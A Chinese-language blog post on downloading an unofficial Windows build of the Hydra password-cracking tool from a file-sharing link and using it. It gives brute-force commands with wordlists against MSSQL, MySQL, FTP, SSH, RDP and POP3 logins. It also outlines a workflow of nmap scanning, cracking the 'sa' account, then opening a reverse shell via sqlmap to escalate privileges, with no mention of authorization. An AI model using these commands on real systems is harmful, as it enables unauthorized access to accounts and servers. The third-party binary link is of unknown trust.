暴力破解工具 Hydra （九头蛇） windows最新版下载和使用

我看网上说好像从8.0版本起，官方只支持linux版的了，想用windows版的只能自己编译了，虽然和linux环境下比起来真的是慢了点，但是还是可以一解燃眉之急啊，在网上找了半天，终于找到了8.1版本的九头蛇，感谢这位大神的分享

windows版本下载地址：http://pan.baidu.com/s/1mg1nqQk密码：nxkf

下载解压后在软件文件目录里面创建cmd.bat    打开输入：hydra.exe 就可以查看命令行帮助界面了（自带的hydra.exe使用的时候闪退 --win10）

我个人喜欢C/S架构破解的时候使用hydra，搭配nmap和sqlmap；

下面举几个命令的使用例子：

一般习惯用nmap扫一下主机，比如发现开放了1433端口（一般就是sql server 了  nmap -A 看看是不是真的运行了sql server服务 ）

之后：

hydra.exe -l sa -P d:\pass.txt 127.0.0.1 mssql

这个命令的意思就是 “d:\pass.txt” 是密码字典路径 hydra就开始遍历这个字典里面的所有字符串。

如图：

然后：

使用sqlmap连接，并且反弹与系统交互的shell方便提权。

语法很多 但是十分简单：

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

（网上找的 凑合看吧）

下面列举几个hydra 破解命令：

破解mysql：

hydra.exe -L d:\user.txt -Pd:\pass.txt127.0.0.1 mysql

-L:指定用户名文件  -P：指定密码文件

破解FTP：

hydra.exe -l admin -P c:\pass.txt -t 5 127.0.0.1 ftp

-l：指定用户名  -t：指定线程

破解ssh：

hydra.exe -L users.txt -P password.txt -e n -t 5 -vV 127.0.0.1 ssh

"-e n":对空密码探测

破解rdp：

hydra.exe -l administror -P c:\pass.txt www.test.com rdp -V

破解www.test.com的rdp服务（远程桌面协议）。

破解pop3：

hydra.exe -l root -P pass.txt my.pop3.mail pop3

注意：未指定文件路径时，Hydra将会在本目录下查找文件。

能力有限，有错必纠。

码字好累的，转载请注明。